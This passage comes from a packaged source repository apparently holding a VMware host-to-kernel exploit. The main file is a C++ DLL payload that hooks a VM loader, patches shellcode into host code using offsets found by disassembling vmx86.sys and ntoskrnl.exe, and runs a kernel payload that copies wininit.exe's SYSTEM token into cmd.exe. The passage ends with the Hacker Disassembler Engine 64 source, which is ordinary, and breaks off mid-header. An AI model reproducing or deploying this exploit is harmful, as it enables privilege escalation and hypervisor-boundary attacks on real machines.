s_PsLookupProcessByProcessId[64];\r\n\tWCHAR s_ObDereferenceObject[64];\r\n\r\n};\r\nvoid payload_marker_start(krn_pld *km_data)\r\n{\r\n\tkm_data->_DbgPrint(km_data->msgstr); // dummy\r\n}\r\nvoid krn_pld::km_payload_code(krn_pld *km_data)\r\n{\r\n\tUNICODE_STRING routineName;\r\n\tkm_data->_RtlInitUnicodeString(&routineName, km_data->s_DbgPrint);\r\n\tkm_data->_DbgPrint = (TDbgPrint)km_data->_MmGetSystemRoutineAddress(&routineName);\r\n\tif (km_data->_DbgPrint)\r\n\t{\r\n\t\tfor (int i = 0; i < 30; i++)\r\n\t\t\tkm_data->_DbgPrint(km_data->msgstr);\r\n\t}\r\n\t\r\n\r\n\t// steal token\r\n\tkm_data->_RtlInitUnicodeString(&routineName, km_data->s_PsLookupProcessByProcessId);\r\n\tkm_data->_PsLookupProcessByProcessId = (TPsLookupProcessByProcessId)km_data->_MmGetSystemRoutineAddress(&routineName);\r\n\r\n\tkm_data->_RtlInitUnicodeString(&routineName, km_data->s_ObDereferenceObject);\r\n\tkm_data->_ObDereferenceObject = (TObDereferenceObject)km_data->_MmGetSystemRoutineAddress(&routineName);\r\n\r\n\tif (km_data->token_offset && km_data->_MmGetSystemRoutineAddress && km_data->_ObDereferenceObject)\r\n\t{\r\n\t\tNTSTATUS status;\r\n\t\tHANDLE pid_src = (HANDLE)km_data->source_pid;\r\n\t\tHANDLE pid_dst = (HANDLE)km_data->target_pid;\r\n\t\tPEPROCESS eprocess_src;\r\n\t\tPEPROCESS eprocess_dst;\r\n\t\tstatus = km_data->_PsLookupProcessByProcessId((HANDLE)pid_src, &eprocess_src);\r\n\t\tif (NT_SUCCESS(status))\r\n\t\t{\r\n\t\t\tstatus = km_data->_PsLookupProcessByProcessId((HANDLE)pid_dst, &eprocess_dst);\r\n\t\t\tif (NT_SUCCESS(status))\r\n\t\t\t{\r\n\t\t\t\t*(DWORD *)((PUCHAR)eprocess_dst + km_data->token_offset) = *(DWORD *)((PUCHAR)eprocess_src + km_data->token_offset);\r\n\r\n\t\t\t\tkm_data->_ObDereferenceObject(eprocess_dst);\r\n\t\t\t}\r\n\r\n\t\t\tkm_data->_ObDereferenceObject(eprocess_src);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid payload_marker_end(krn_pld *km_data)\r\n{\r\n\tUNICODE_STRING routineName; // dummy\r\n\tkm_data->magic_val = 1;// dummy\r\n\tkm_data->_DbgPrint = (TDbgPrint)km_data->_MmGetSystemRoutineAddress(&routineName); // dummy\r\n}\r\n\r\n// setup string (usermode)\r\nvoid krn_pld::setup_strings(krn_pld *km_data)\r\n{\r\n\tstrcpy_s(km_data->msgstr, 64, \"KERNEL CODE EXEC!\\r\\n\");\r\n\r\n\t\r\n\twcscpy_s(km_data->s_ObDereferenceObject, 64, L\"ObDereferenceObject\");\r\n\twcscpy_s(km_data->s_PsLookupProcessByProcessId, 64, L\"PsLookupProcessByProcessId\");\r\n\twcscpy_s(km_data->s_DbgPrint, 64, L\"DbgPrint\");\r\n\r\n\t\r\n\tkm_data->token_offset = 0;\r\n\tkm_data->target_pid = 0;\r\n\tkm_data->source_pid = 0;\r\n\r\n}\r\n\r\nDWORD locate_token_offset()\r\n{\r\n\tWCHAR sys_dir[MAX_PATH + 16];\r\n\tWCHAR krnlpth[MAX_PATH + 16];\r\n\tDWORD token_pos = 0;\r\n\tif (::GetSystemDirectory(sys_dir, MAX_PATH))\r\n\t{\r\n\t\twsprintf(krnlpth, L\"%ws\\\\%ws\", sys_dir, L\"ntoskrnl.exe\");\r\n\t\tif (FileExists(krnlpth))\r\n\t\t{\r\n\t\t\tHMODULE hMod = ::LoadLibraryEx(krnlpth, NULL, LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE);\r\n\t\t\tif (hMod)\r\n\t\t\t{\r\n\t\t\t\tPBYTE mod_base_addr = (PBYTE)((uintptr_t)hMod & -4);\r\n\t\t\t\tPVOID va_PsReferencePrimaryToken = (PVOID)get_napi_va(mod_base_addr, 0, \"PsReferencePrimaryToken\");\r\n\r\n\t\t\t\tif (va_PsReferencePrimaryToken)\r\n\t\t\t\t{\r\n\t\t\t\t\tPBYTE _PsReferencePrimaryToken = (PBYTE)mod_base_addr + (size_t)va_PsReferencePrimaryToken;\r\n\t\t\t\t\tULONG len = 0;\r\n\t\t\t\t\tuhde64 hde;\r\n\t\t\t\t\twhile (len < 256)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tlen += hde.disasm(_PsReferencePrimaryToken + len);\r\n\t\t\t\t\t\tif (hde.gethdes()->opcode == 0xE8)\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\telse if (hde.gethdes()->opcode == 0x8D)\r\n\t\t\t\t\t\t\ttoken_pos = token_pos > hde.gethdes()->disp.disp32 ? token_pos : hde.gethdes()->disp.disp32;\r\n\t\t\t\t\t\telse if (hde.gethdes()->opcode >= 0x81)\r\n\t\t\t\t\t\t\ttoken_pos = token_pos > hde.gethdes()->imm.imm32 ? token_pos : hde.gethdes()->imm.imm32;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t::FreeLibrary(hMod);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\treturn token_pos;\r\n}\r\n\r\n\r\nDWORD susp_resm_threads(DWORD pid, bool resume0)\r\n{\r\n\tDWORD tid = 0;\r\n\tHANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n\tif (h != INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tTHREADENTRY32 te;\r\n\t\tte.dwSize = sizeof(te);\r\n\t\tif (Thread32First(h, &te))\r\n\t\t{\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tif (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID) && te.th32OwnerProcessID == pid && te.th32ThreadID != GetCurrentThreadId())\r\n\t\t\t\t{\r\n\r\n\r\n\t\t\t\t\tDWORD target_tid = te.th32ThreadID;\r\n\t\t\t\t\tHANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, target_tid); \r\n\r\n\r\n\t\t\t\t\tif (hThread && hThread != INVALID_HANDLE_VALUE)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif (resume0)\r\n\t\t\t\t\t\t\tResumeThread(hThread);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\tSuspendThread(hThread);\r\n\r\n\t\t\t\t\t\tCloseHandle(hThread);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tte.dwSize = sizeof(te);\r\n\t\t\t} while (Thread32Next(h, &te));\r\n\t\t}\r\n\t\tCloseHandle(h);\r\n\t}\r\n\treturn tid;\r\n}\r\n\r\n\r\ntypedef void (krn_pld::*Tpayloadfunc)(krn_pld *);\r\n\r\nkrn_pld payload_class;\r\ntypedef PVOID(*Tspec_func)(void);\r\nTspec_func R_hook_vm_loader;\r\n\r\nvolatile unsigned long long triggered;\r\n\r\nPVOID hook_vm_loader(void)\r\n{\r\n\tPVOID result = 0;\r\n\tresult = R_hook_vm_loader();\r\n\t\r\n\t//if (InterlockedCompareExchange(&triggered, 1, 0))\r\n\t//\treturn result;\r\n\t\r\n\t//BYTE Host64ToVmm_pat[] = { 0x48, 0x81, 0xc1, 0x40, 0x01, 0x00, 0x00, 0xff, 0x34, 0x24, 0x8c, 0x4c, 0x24, 0x08, 0x48, 0x89 };\r\n\tBYTE Host64ToVmm_pat[] = { 0x48, 0x81, 0xc1, 0x40, 0x01, 0x00, 0x00, 0xff, 0x34, 0x24, 0x8c, 0x4c, 0x24, 0x08 };\r\n\t\r\n\tPBYTE Host64ToVmm = ((PBYTE)::GetModuleHandleA(0));\r\n\r\n\twhile (true)  // don't care, just crash if pattern not found\r\n\t{\r\n\t\tif (!memcmp(Host64ToVmm, Host64ToVmm_pat, sizeof(Host64ToVmm_pat)))\r\n\t\t\tbreak;\r\n\r\n\t\tHost64ToVmm++;\r\n\t}\r\n\t\r\n\tWCHAR sys_dir[MAX_PATH + 16];\r\n\tWCHAR krnlpth[MAX_PATH + 16];\r\n\tif (::GetSystemDirectory(sys_dir, MAX_PATH))\r\n\t{\r\n\t\twsprintf(krnlpth, L\"%ws\\\\%ws\", sys_dir, L\"ntoskrnl.exe\");\r\n\t\tif (FileExists(krnlpth))\r\n\t\t{\r\n\t\t\tHMODULE hMod = ::LoadLibraryEx(krnlpth, NULL, LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE);\r\n\t\t\tif (hMod)\r\n\t\t\t{\r\n\t\t\t\tPVOID _ExAllocatePool = get_napi_va((uint8_t*)((uintptr_t)hMod & -4), 0, \"ExAllocatePool\");\r\n\t\t\t\tPVOID _MmGetSystemRoutineAddress = get_napi_va((uint8_t*)((uintptr_t)hMod & -4), 0, \"MmGetSystemRoutineAddress\");\r\n\t\t\t\tPVOID _RtlInitUnicodeString = get_napi_va((uint8_t*)((uintptr_t)hMod & -4), 0, \"RtlInitUnicodeString\");\r\n\r\n\t\t\t\tPVOID kernel_base = leak_kernelbase();\r\n\t\t\t\tDWORD token_offset = locate_token_offset();\r\n\r\n\t\t\t\tif (*Host64ToVmm == 0x48 && kernel_base && _ExAllocatePool && _MmGetSystemRoutineAddress && _RtlInitUnicodeString && token_offset)\r\n\t\t\t\t{\r\n\t\t\t\t\tsusp_resm_threads(GetCurrentProcessId(), 0);\r\n\t\t\t\t\tSleep(1000);\r\n\r\n\t\t\t\t\tpayload_class.setup_strings(&payload_class);\r\n\t\t\t\t\tpayload_class._RtlInitUnicodeString = (TRtlInitUnicodeString)((unsigned __int64)_RtlInitUnicodeString + (PUCHAR)kernel_base);\r\n\t\t\t\t\tpayload_class._MmGetSystemRoutineAddress = (TMmGetSystemRoutineAddress)((unsigned __int64)_MmGetSystemRoutineAddress + (PUCHAR)kernel_base);\r\n\t\t\t\t\tpayload_class.target_pid = get_pid_by_process_name(L\"cmd.exe\");\r\n\t\t\t\t\tpayload_class.source_pid = get_pid_by_process_name(L\"wininit.exe\");\r\n\t\t\t\t\tpayload_class.token_offset = token_offset;\r\n\t\t\t\t\t\r\n\r\n\t\t\r\n\t\t\t\t\tmemcpy(Host64ToVmm, parasite, (size_t)((PUCHAR)&parasite_end - (PUCHAR)&parasite));\r\n\t\t\t\t\t*(PDWORD)(Host64ToVmm + parasite_adj_addr1) = rsp_hack_adj;\r\n\t\t\t\t\t*(PDWORD)(Host64ToVmm + parasite_adj_addr2) = rsp_hack_adj;\r\n\r\n\t\t\t\t\tmemcpy(Host64ToVmm + 5, &kernel_base, 8);\r\n\t\t\t\t\tmemcpy(Host64ToVmm + 5 + 8, &_ExAllocatePool, 8);\r\n\t\t\t\t\tmemcpy(Host64ToVmm + 5 + 8 + 8, &_MmGetSystemRoutineAddress, 8);\r\n\t\t\t\t\tTpayloadfunc func_addr = &krn_pld::km_payload_code;\r\n\r\n\t\t\t\t\tmemcpy(Host64ToVmm + 5 + 8 + 8 + 8, &func_addr, 8);\r\n\t\t\t\t\tunsigned __int64 vl = (unsigned __int64)((PUCHAR)payload_marker_end - (PUCHAR)payload_marker_start);\r\n\t\t\t\t\tmemcpy((Host64ToVmm + 5) + 8 * 5, &vl, 8);\r\n\r\n\t\t\t\t\tkrn_pld *hlpr_v = &payload_class;\r\n\t\t\t\t\tmemcpy((Host64ToVmm + 5) + 8 * 6, &hlpr_v, 8);\r\n\t\t\t\t\tunsigned __int64 v2 = sizeof(krn_pld);\r\n\t\t\t\t\tmemcpy((Host64ToVmm + 5) + 8 * 8, &v2, 8);\r\n\r\n\t\t\t\t\tsusp_resm_threads(GetCurrentProcessId(), 1);\r\n\t\t\t\t\t\r\n\r\n\t\t\t\t}\r\n\t\t\t\t::FreeLibrary(hMod);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\treturn result;\r\n}\r\n\r\nULONG locate_return_pos()\r\n{\r\n\tULONG ret_pos = 0;\r\n\r\n\tWCHAR vmx_drv_path[MAX_PATH + 2];\r\n\tvmx_drv_path[MAX_PATH] = 0;\r\n\tif (!GetSystemDirectory(vmx_drv_path, MAX_PATH))\r\n\t\treturn 0;\r\n\r\n\twcscat_s(vmx_drv_path, MAX_PATH, L\"\\\\Drivers\\\\vmx86.sys\");\r\n\tif (FileExists(vmx_drv_path))\r\n\t{\r\n\t\tHANDLE fhandle = ::CreateFile(vmx_drv_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);\r\n\r\n\t\tif (fhandle != INVALID_HANDLE_VALUE)\r\n\t\t{\r\n\t\t\tDWORD file_size = ::GetFileSize(fhandle, 0);\r\n\r\n\t\t\tif (file_size != INVALID_FILE_SIZE)\r\n\t\t\t{\r\n\t\t\t\tPBYTE buffer = (PBYTE)std::malloc(file_size + 32);\r\n\t\t\t\tif (buffer)\r\n\t\t\t\t{\r\n\t\t\t\t\tDWORD bytes_read = 0;\r\n\t\t\t\t\tif (::ReadFile(fhandle, buffer, file_size, &bytes_read, NULL))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tULONG len = 0;\r\n\t\t\t\t\t\tuhde64 hde;\r\n\t\t\t\t\t\tULONG rsp_adj = 0;\r\n\t\t\t\t\t\tULONG psh_nr = 0;\r\n\t\t\t\t\t\tbool found = 0;\r\n\t\t\t\t\t\twhile (len < file_size)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tlen += hde.disasm(buffer + len);\r\n\t\t\t\t\t\t\tif (hde.gethdes()->opcode == 0xCC)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\trsp_adj = 0;\r\n\t\t\t\t\t\t\t\tpsh_nr = 0;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\telse if (hde.gethdes()->opcode == 0x81 && hde.gethdes()->modrm == 0xEC)\r\n\t\t\t\t\t\t\t\trsp_adj = hde.gethdes()->imm.imm32;\r\n\t\t\t\t\t\t\telse if (hde.gethdes()->opcode >= 0x50 && hde.gethdes()->opcode <= 0x57)\r\n\t\t\t\t\t\t\t\tpsh_nr++;\r\n\t\t\t\t\t\t\telse if (hde.gethdes()->opcode >= 0xB9 && hde.gethdes()->imm.imm32 == 0xC0000102)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tfound = 1;\r\n\t\t\t\t\t\t\t\tret_pos = rsp_adj + psh_nr * 8 + 8;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t}\r\n\t\t\t\t\tstd::free(buffer);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t::CloseHandle(fhandle);\r\n\t\t}\r\n\t}\r\n\r\n\treturn ret_pos;\r\n}\r\n\r\n\r\n\r\nvoid get_return_adj_addr(PDWORD addr1, PDWORD addr2)\r\n{\r\n\tULONG len = 0;\r\n\tULONG lenp = 0;\r\n\tuhde64 hde;\r\n\tsize_t para_size = (size_t)((PBYTE)&parasite_end - (PBYTE)&parasite);\r\n\twhile (len < para_size)\r\n\t{\r\n\t\tlenp = len;\r\n\t\tlen += hde.disasm((PBYTE)parasite + len);\r\n\t\tif (hde.gethdes()->opcode == 0xFF && hde.gethdes()->modrm == 0xB4 && hde.gethdes()->sib == 0x24)\r\n\t\t{\r\n\t\t\t*addr1 = (lenp + 3);\r\n\t\t}\r\n\t\telse if (hde.gethdes()->opcode == 0x89 && hde.gethdes()->modrm == 0x84 && hde.gethdes()->sib == 0x24)\r\n\t\t{\r\n\t\t\t*addr2 = (lenp + 4);\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\treturn;\r\n}\r\n\r\n\r\n\r\n\r\nBOOL APIENTRY DllMain( HMODULE hModule,\r\n                       DWORD  ul_reason_for_call,\r\n                       LPVOID lpReserved\r\n\t\t\t\t\t )\r\n{\r\n\tHMODULE hmod;\r\n\tPBYTE vm_loader_func;\r\n\tconst BYTE vmloader_pat[] = { 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x48, 0x83, 0xEC };\r\n\r\n\tswitch (ul_reason_for_call)\r\n\t{\r\n\tcase DLL_PROCESS_ATTACH:\r\n\r\n\t\t::GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN, (LPCTSTR)hModule, &hmod);\r\n\r\n\t\trsp_hack_adj = locate_return_pos();\r\n\t\tget_return_adj_addr(&parasite_adj_addr1, &parasite_adj_addr2);\r\n\r\n\t\tif (parasite_adj_addr1 && parasite_adj_addr2 && rsp_hack_adj)\r\n\t\t{\r\n\t\t\tvm_loader_func = (PBYTE)::GetModuleHandleA(0);\r\n\r\n\t\t\twhile (true) // don't care, just crash if pattern not found\r\n\t\t\t{\r\n\t\t\t\tif (!memcmp(vm_loader_func, vmloader_pat, sizeof(vmloader_pat)))\r\n\t\t\t\t{\r\n\t\t\t\t\tULONG len = 0;\r\n\t\t\t\t\tULONG lenp = 0;\r\n\t\t\t\t\tuhde64 hde;\r\n\t\t\t\t\tbool found = 0;\r\n\t\t\t\t\twhile (len < 200)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tlenp = len;\r\n\t\t\t\t\t\tlen += hde.disasm(vm_loader_func + len);\r\n\t\t\t\t\t\tif (hde.gethdes()->opcode == 0xFF && hde.gethdes()->modrm >= 0xD0 && hde.gethdes()->modrm <= 0xD7)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tfound = 1;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse if (hde.gethdes()->opcode == 0xC3 || hde.gethdes()->opcode == 0xE8 || hde.gethdes()->opcode == 0xE9)\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (found)\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tvm_loader_func++;\r\n\t\t\t}\r\n\r\n\r\n\t\t\tclassVM_LOADER.sethook(vm_loader_func, hook_vm_loader, (PVOID *)&R_hook_vm_loader);\r\n\t\t}\r\n\t\r\n\r\n\t\tbreak;\r\n\tcase DLL_THREAD_ATTACH:\r\n\tcase DLL_THREAD_DETACH:\r\n\tcase DLL_PROCESS_DETACH:\r\n\t\tbreak;\r\n\t}\r\n\treturn TRUE;\r\n}\r\n"
  },
  {
    "path": "dll_payload/dll_payload/hde/hde64.cpp",
    "content": "/*\n * Hacker Disassembler Engine 64 C\n * Copyright (c) 2008-2009, Vyacheslav Patkov.\n * All rights reserved.\n *\n */\n\n#include \"stdint.h\"\n#include <string.h>\n\n#include \"hde64.h\"\n#include \"table64.h\"\n\nunsigned int hde64_disasm(const void *code, hde64s *hs)\n{\n    uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;\n    uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;\n    uint8_t op64 = 0;\n\n    memset(hs,0,sizeof(hde64s));\n\n    for (x = 16; x; x--)\n        switch (c = *p++) {\n            case 0xf3:\n                hs->p_rep = c;\n                pref |= PRE_F3;\n                break;\n            case 0xf2:\n                hs->p_rep = c;\n                pref |= PRE_F2;\n                break;\n            case 0xf0:\n                hs->p_lock = c;\n                pref |= PRE_LOCK;\n                break;\n            case 0x26: case 0x2e: case 0x36:\n            case 0x3e: case 0x64: case 0x65:\n                hs->p_seg = c;\n                pref |= PRE_SEG;\n                break;\n            case 0x66:\n                hs->p_66 = c;\n                pref |= PRE_66;\n                break;\n            case 0x67:\n                hs->p_67 = c;\n                pref |= PRE_67;\n                break;\n            default:\n                goto pref_done;\n        }\n  pref_done:\n\n    hs->flags = (uint32_t)pref << 23;\n\n    if (!pref)\n        pref |= PRE_NONE;\n\n    if ((c & 0xf0) == 0x40) {\n        hs->flags |= F_PREFIX_REX;\n        if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)\n            op64++;\n        hs->rex_r = (c & 7) >> 2;\n        hs->rex_x = (c & 3) >> 1;\n        hs->rex_b = c & 1;\n        if (((c = *p++) & 0xf0) == 0x40) {\n            opcode = c;\n            goto error_opcode;\n        }\n    }\n\n    if ((hs->opcode = c) == 0x0f) {\n        hs->opcode2 = c = *p++;\n        ht += DELTA_OPCODES;\n    } else if (c >= 0xa0 && c <= 0xa3) {\n        op64++;\n        if (pref & PRE_67)\n            pref |= PRE_66;\n        else\n            pref &= ~PRE_66;\n    }\n\n    opcode = c;\n    cflags = ht[ht[opcode / 4] + (opcode % 4)];\n\n    if (cflags == C_ERROR) {\n      error_opcode:\n        hs->flags |= F_ERROR | F_ERROR_OPCODE;\n        cflags = 0;\n        if ((opcode & -3) == 0x24)\n            cflags++;\n    }\n\n    x = 0;\n    if (cflags & C_GROUP) {\n        uint16_t t;\n        t = *(uint16_t *)(ht + (cflags & 0x7f));\n        cflags = (uint8_t)t;\n        x = (uint8_t)(t >> 8);\n    }\n\n    if (hs->opcode2) {\n        ht = hde64_table + DELTA_PREFIXES;\n        if (ht[ht[opcode / 4] + (opcode % 4)] & pref)\n            hs->flags |= F_ERROR | F_ERROR_OPCODE;\n    }\n\n    if (cflags & C_MODRM) {\n        hs->flags |= F_MODRM;\n        hs->modrm = c = *p++;\n        hs->modrm_mod = m_mod = c >> 6;\n        hs->modrm_rm = m_rm = c & 7;\n        hs->modrm_reg = m_reg = (c & 0x3f) >> 3;\n\n        if (x && ((x << m_reg) & 0x80))\n            hs->flags |= F_ERROR | F_ERROR_OPCODE;\n\n        if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {\n            uint8_t t = opcode - 0xd9;\n            if (m_mod == 3) {\n                ht = hde64_table + DELTA_FPU_MODRM + t*8;\n                t = ht[m_reg] << m_rm;\n            } else {\n                ht = hde64_table + DELTA_FPU_REG;\n                t = ht[t] << m_reg;\n            }\n            if (t & 0x80)\n                hs->flags |= F_ERROR | F_ERROR_OPCODE;\n        }\n\n        if (pref & PRE_LOCK) {\n            if (m_mod == 3) {\n                hs->flags |= F_ERROR | F_ERROR_LOCK;\n            } else {\n                uint8_t *table_end, op = opcode;\n                if (hs->opcode2) {\n                    ht = hde64_table + DELTA_OP2_LOCK_OK;\n                    table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;\n                } else {\n                    ht = hde64_table + DELTA_OP_LOCK_OK;\n                    table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;\n                    op &= -2;\n                }\n                for (; ht != table_end; ht++)\n                    if (*ht++ == op) {\n                        if (!((*ht << m_reg) & 0x80))\n                            goto no_lock_error;\n                        else\n                            break;\n                    }\n                hs->flags |= F_ERROR | F_ERROR_LOCK;\n              no_lock_error:\n                ;\n            }\n        }\n\n        if (hs->opcode2) {\n            switch (opcode) {\n                case 0x20: case 0x22:\n                    m_mod = 3;\n                    if (m_reg > 4 || m_reg == 1)\n                        goto error_operand;\n                    else\n                        goto no_error_operand;\n                case 0x21: case 0x23:\n                    m_mod = 3;\n                    if (m_reg == 4 || m_reg == 5)\n                        goto error_operand;\n                    else\n                        goto no_error_operand;\n            }\n        } else {\n            switch (opcode) {\n                case 0x8c:\n                    if (m_reg > 5)\n                        goto error_operand;\n                    else\n                        goto no_error_operand;\n                case 0x8e:\n                    if (m_reg == 1 || m_reg > 5)\n                        goto error_operand;\n                    else\n                        goto no_error_operand;\n            }\n        }\n\n        if (m_mod == 3) {\n            uint8_t *table_end;\n            if (hs->opcode2) {\n                ht = hde64_table + DELTA_OP2_ONLY_MEM;\n                table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;\n            } else {\n                ht = hde64_table + DELTA_OP_ONLY_MEM;\n                table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;\n            }\n            for (; ht != table_end; ht += 2)\n                if (*ht++ == opcode) {\n                    if (*ht++ & pref && !((*ht << m_reg) & 0x80))\n                        goto error_operand;\n                    else\n                        break;\n                }\n            goto no_error_operand;\n        } else if (hs->opcode2) {\n            switch (opcode) {\n                case 0x50: case 0xd7: case 0xf7:\n                    if (pref & (PRE_NONE | PRE_66))\n                        goto error_operand;\n                    break;\n                case 0xd6:\n                    if (pref & (PRE_F2 | PRE_F3))\n                        goto error_operand;\n                    break;\n                case 0xc5:\n                    goto error_operand;\n            }\n            goto no_error_operand;\n        } else\n            goto no_error_operand;\n\n      error_operand:\n        hs->flags |= F_ERROR | F_ERROR_OPERAND;\n      no_error_operand:\n\n        c = *p++;\n        if (m_reg <= 1) {\n            if (opcode == 0xf6)\n                cflags |= C_IMM8;\n            else if (opcode == 0xf7)\n                cflags |= C_IMM_P66;\n        }\n\n        switch (m_mod) {\n            case 0:\n                if (pref & PRE_67) {\n                    if (m_rm == 6)\n                        disp_size = 2;\n                } else\n                    if (m_rm == 5)\n                        disp_size = 4;\n                break;\n            case 1:\n                disp_size = 1;\n                break;\n            case 2:\n                disp_size = 2;\n                if (!(pref & PRE_67))\n                    disp_size <<= 1;\n        }\n\n        if (m_mod != 3 && m_rm == 4) {\n            hs->flags |= F_SIB;\n            p++;\n            hs->sib = c;\n            hs->sib_scale = c >> 6;\n            hs->sib_index = (c & 0x3f) >> 3;\n            if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))\n                disp_size = 4;\n        }\n\n        p--;\n        switch (disp_size) {\n            case 1:\n                hs->flags |= F_DISP8;\n                hs->disp.disp8 = *p;\n                break;\n            case 2:\n                hs->flags |= F_DISP16;\n                hs->disp.disp16 = *(uint16_t *)p;\n                break;\n            case 4:\n                hs->flags |= F_DISP32;\n                hs->disp.disp32 = *(uint32_t *)p;\n        }\n        p += disp_size;\n    } else if (pref & PRE_LOCK)\n        hs->flags |= F_ERROR | F_ERROR_LOCK;\n\n    if (cflags & C_IMM_P66) {\n        if (cflags & C_REL32) {\n            if (pref & PRE_66) {\n                hs->flags |= F_IMM16 | F_RELATIVE;\n                hs->imm.imm16 = *(uint16_t *)p;\n                p += 2;\n                goto disasm_done;\n            }\n            goto rel32_ok;\n        }\n        if (op64) {\n            hs->flags |= F_IMM64;\n            hs->imm.imm64 = *(uint64_t *)p;\n            p += 8;\n        } else if (!(pref & PRE_66)) {\n            hs->flags |= F_IMM32;\n            hs->imm.imm32 = *(uint32_t *)p;\n            p += 4;\n        } else\n            goto imm16_ok;\n    }\n\n\n    if (cflags & C_IMM16) {\n      imm16_ok:\n        hs->flags |= F_IMM16;\n        hs->imm.imm16 = *(uint16_t *)p;\n        p += 2;\n    }\n    if (cflags & C_IMM8) {\n        hs->flags |= F_IMM8;\n        hs->imm.imm8 = *p++;\n    }\n\n    if (cflags & C_REL32) {\n      rel32_ok:\n        hs->flags |= F_IMM32 | F_RELATIVE;\n        hs->imm.imm32 = *(uint32_t *)p;\n        p += 4;\n    } else if (cflags & C_REL8) {\n        hs->flags |= F_IMM8 | F_RELATIVE;\n        hs->imm.imm8 = *p++;\n    }\n\n  disasm_done:\n\n    if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {\n        hs->flags |= F_ERROR | F_ERROR_LENGTH;\n        hs->len = 15;\n    }\n\n    return (unsigned int)hs->len;\n}\n"
  },
  {
    "path": "dll_payload/dll_payload/hde/hde64.h",
    "content": "/*\r\n * Hacker Disassembler Engine 64\r\n * Copyright (c) 2008-2009, Vyacheslav Patkov.\r\n * All rights reserved.\r\n *\r\n * hde64.h: C/C++ header file\r\n *\r\n */\r\n\r\n#ifndef _HDE64_H_\r\n#define _HDE64_H_\r\n\r\n/* stdint.h - C99 standard header\r\n * http://en.wikipedia.org/wiki/stdint.h\r\n *\r\n * if your compiler doesn't contain \"stdint.h\" header (for\r\n * example, Microsoft Visual C++), you can download file:\r\n *   http://www.azillionmonkeys.com/qed/pstdint.h\r\n * and change next line to:\r\n *   #include \"pstdint.h\"\r\n */\r\n\r\n#include <stdint.h>\r\n\r\n\r\n#define F_MODRM         0x00000001\r\n#define F_SIB           0x00000002\r\n#define F_IMM8          0x00000004\r\n#define F_IMM16         0x00000008\r\n#define F_IMM32         0x00000010\r\n#define F_IMM64         0x00000020\r\n#define F_DISP8         0x00000040\r\n#define F_DISP16        0x00000080\r\n#define F_DISP32        0x00000100\r\n#define F_RELATIVE      0x00000200\r\n#define F_ERROR         0x00001000\r\n#define F_ERROR_OPCODE  0x00002000\r\n#define F_ERROR_LENGTH  0x00004000\r\n#define F_ERROR_LOCK    0x00008000\r\n#define F_ERROR_OPERAND 0x00010000\r\n#define F_PREFIX_REPNZ  0x01000000\r\n#define F_PREFIX_REPX   0x02000000\r\n#define F_PREFIX_REP    0x03000000\r\n#define F_PREFIX_66     0x04000000\r\n#define F_PREFIX_67     0x08000000\r\n#define F_PREFIX_LOCK   0x10000000\r\n#define F_PREFIX_SEG    0x20000000\r\n#define F_PREFIX_REX    0x40000000\r\n#define F_PREFIX_ANY    0x7f000000\r\n\r\n#define PREFIX_SEGMENT_CS   0x2e\r\n#define PREFIX_SEGMENT_SS   0x36\r\n#define PREFIX_SEGMENT_DS   0x3e\r\n#define PREFIX_SEGMENT_ES   0x26\r\n#define PREFIX_SEGMENT_FS   0x64\r\n#define 